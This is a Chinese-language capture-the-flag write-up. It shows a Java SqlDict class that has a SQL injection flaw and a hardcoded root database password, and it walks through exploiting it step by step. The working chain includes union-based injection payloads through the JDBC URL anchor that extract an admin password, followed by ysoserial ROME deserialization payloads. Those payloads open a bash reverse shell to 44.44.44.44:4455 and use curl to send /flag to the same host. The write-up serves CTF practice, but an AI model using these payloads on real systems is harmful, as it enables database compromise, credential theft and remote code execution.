SqlDict.java ,其中sql语句处存在sql注入漏洞
package .sqldict;
import cn.abc.core.sqldict.Row;
import cn.abc.core.sqldict.Table;
import java.sql.Connection;
import java.sql.DatabaseMetaData;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
public class SqlDict {
public static Connection getConnection(String dbName, String user, String pass) {
Connection conn = null;
try {
Class.forName("com.mysql.jdbc.Driver");
if (dbName != null && !dbName.equals("")) {
dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
} else {
dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
}
if (user == null || dbName.equals(""))
user = "root";
if (pass == null || dbName.equals(""))
pass = "abc@12345";
conn = DriverManager.getConnection(dbName, user, pass);
} catch (ClassNotFoundException var5) {
var5.printStackTrace();
} catch (SQLException var6) {
var6.printStackTrace();
}
return conn;
}
public static List<Table> getTableData(String dbName, String user, String pass) {
List<Table> Tables = new ArrayList<>();
Connection conn = getConnection(dbName, user, pass);
String TableName = "";
try {
Statement stmt = conn.createStatement();
DatabaseMetaData metaData = conn.getMetaData();
ResultSet tableNames = metaData.getTables((String)null, (String)null, (String)null, new String[] { "TABLE" });
while (tableNames.next()) {
TableName = tableNames.getString(3);
Table table = new Table();
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
ResultSet rs = stmt.executeQuery(sql);
while (rs.next())
table.setTableDescribe(rs.getString("TABLE_COMMENT"));
table.setTableName(TableName);
ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null, TableName, "");
ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null, TableName);
String PK;
for (PK = ""; rs2.next(); PK = rs2.getString(4));
while (data.next()) {
Row row = new Row(data.getString("COLUMN_NAME"), data.getString("TYPE_NAME"), data.getString("COLUMN_DEF"), data.getString("NULLABLE").equals("1") ? "YES" : "NO", data.getString("IS_AUTOINCREMENT"), data.getString("REMARKS"), data.getString("COLUMN_NAME").equals(PK) ? "true" : null, data.getString("COLUMN_SIZE"));
table.list.add(row);
}
Tables.add(table);
}
} catch (SQLException var16) {
var16.printStackTrace();
}
return Tables;
}
}
Swagger
swagger-ui 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。
/swagger-ui.html
可以发现 dbName 没有过滤直接参与了 SQL 语句进行数据查询,所以这里存在 SQL 注入
同时需要满足 jdbc 协议的连接不能出错
JDBC 的 URL 也类似 http 请求中的 URL,也可以使用锚点 # 或者 ?
如:jdbc:mysql://mysqldbserver:3306/myapp#’ union select 2#
myapp#' union select group_concat(SCHEMA_NAME)from(information_schema.schemata)#
// "tableDescribe": "information_schema,myapp,mysql,performance_schema,sys",
myapp#' union select group_concat(table_name)from(information_schema.tables)where(table_schema='myapp')#
// "tableDescribe": "user",
myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))#
// "tableDescribe": "id,name,pwd"
myapp#' union select group_concat(name,0x7e,pwd)from(user)#
// "tableDescribe": "admin~admin@Rrrr_ctf_asde"
然后将用户名和密码在/common/user/login处提交,获取一串字符
{
"password": "admin@Rrrr_ctf_asde",
"username": "admin"
}
{
"data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",
"msg": "登录成功",
"status": 2,
"timestamps": 1678501421371
}
下方的特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。
java Deserialization Scanner插件使用然后选择base64开始扫描,结果回显ROME有可能
ysoserial
curl将flag带出来
bash -i >& /dev/tcp/44.44.44.44/4455 0>&1
YmFzaCAtaSAgPiYgL2Rldi90Y3AvNDQuNDQuNDQuNDQvNDQ1NSAwPiYxCg==
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvNDQuNDQuNDQuNDQvNDQ1NSAwPiYxCg==}|{base64,-d}|{bash,-i}" | base64
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://44.44.44.44:4455 -d @/flag" | base64
注意最后提交的时候,要在前面加上Bearer
参考文章:https://blog.csdn.net/RABCDXB/article/details/124003575